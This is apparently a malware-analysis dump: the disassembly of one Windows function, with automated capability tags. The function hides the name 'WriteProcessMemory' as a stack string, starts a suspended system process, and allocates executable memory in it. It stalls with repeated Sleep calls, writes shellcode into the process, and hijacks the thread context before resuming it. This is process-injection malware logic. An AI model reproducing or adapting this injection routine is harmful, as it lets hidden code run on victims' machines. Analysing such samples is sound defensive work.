Function at 0x14000ae18
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create process on windows
Create process suspended
Execute shellcode via indirect call
Get common file path
Resume thread

Disassembly:
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x6e0
mov rax, qword [0x1400221d8]
xor rax, rsp
mov qword [rsp + 0x6d8], rax
mov dword [rsp + 0x650], 0
lea rax, [rsp + 0x658]
mov rdi, rax
xor eax, eax
mov ecx, 0x60
rep stosb byte [rdi], al
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x68]
mov rdi, rax
xor eax, eax
mov ecx, 0x4c8
rep stosb byte [rdi], al
mov dword [rsp + 0x648], 0
lea rax, [rsp + 0x650]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
mov rdi, qword [rsp + 0x700]
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rax, [rsp + 0x60]
mov rdi, rax
xor eax, eax
mov ecx, 0x4d0
rep stosb byte [rdi], al
mov dword [rsp + 0x650], 0x68
mov dword [rsp + 0x68c], 1
xor eax, eax
mov word [rsp + 0x690], ax
mov byte [rsp + 0x540], 0
lea rax, [rsp + 0x541]
mov rdi, rax
xor eax, eax
mov ecx, 0xfe
rep stosb byte [rdi], al
mov edx, 0xff
lea rcx, [rsp + 0x540]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov byte [rsp + 0x543], 0
mov byte [rsp + 0x6c0], 0x57
mov byte [rsp + 0x6c1], 0x72
mov byte [rsp + 0x6c2], 0x69
mov byte [rsp + 0x6c3], 0x74
mov byte [rsp + 0x6c4], 0x65
mov byte [rsp + 0x6c5], 0x50
mov byte [rsp + 0x6c6], 0x72
mov byte [rsp + 0x6c7], 0x6f
mov byte [rsp + 0x6c8], 0x63
mov byte [rsp + 0x6c9], 0x65
mov byte [rsp + 0x6ca], 0x73
mov byte [rsp + 0x6cb], 0x73
mov byte [rsp + 0x6cc], 0x4d
mov byte [rsp + 0x6cd], 0x65
mov byte [rsp + 0x6ce], 0x6d
mov byte [rsp + 0x6cf], 0x6f
mov byte [rsp + 0x6d0], 0x72
mov byte [rsp + 0x6d1], 0x79
mov byte [rsp + 0x6d2], 0
lea rcx, [0x14001de48]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, [rsp + 0x6c0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x640], rax
mov rax, qword [rsp + 0x700]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x650]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x540]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [rsp + 0x648], eax
cmp dword [rsp + 0x648], 0
jne 0x14000b039
xor eax, eax
jmp 0x14000b323
movsxd rax, dword [rsp + 0x6f8]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rax
xor edx, edx
mov rax, qword [rsp + 0x700]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x530], rax
cmp qword [rsp + 0x530], 0
jne 0x14000b07f
xor eax, eax
jmp 0x14000b323
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
movsxd rax, dword [rsp + 0x6f8]
mov qword [rsp + 0x20], 0
mov r9, rax
mov r8, qword [rsp + 0x6f0]
mov rdx, qword [rsp + 0x530]
mov rax, qword [rsp + 0x700]
mov rcx, qword [rax]
call qword [rsp + 0x640]
test eax, eax
jne 0x14000b28e
xor eax, eax
jmp 0x14000b323
mov dword [rsp + 0x538], 0
mov dword [rsp + 0x90], 0x10000b
lea rdx, [rsp + 0x60]
mov rax, qword [rsp + 0x700]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov dword [rsp + 0x648], eax
cmp dword [rsp + 0x648], 0
jne 0x14000b2d0
xor eax, eax
jmp 0x14000b323
mov rax, qword [rsp + 0x530]
mov qword [rsp + 0x158], rax
lea rdx, [rsp + 0x60]
mov rax, qword [rsp + 0x700]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov dword [rsp + 0x648], eax
cmp dword [rsp + 0x648], 0
jne 0x14000b30c
xor eax, eax
jmp 0x14000b323
mov rax, qword [rsp + 0x700]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, 1
mov rcx, qword [rsp + 0x6d8]
xor rcx, rsp
call fcn.14000cb80
add rsp, 0x6e0
pop rdi
ret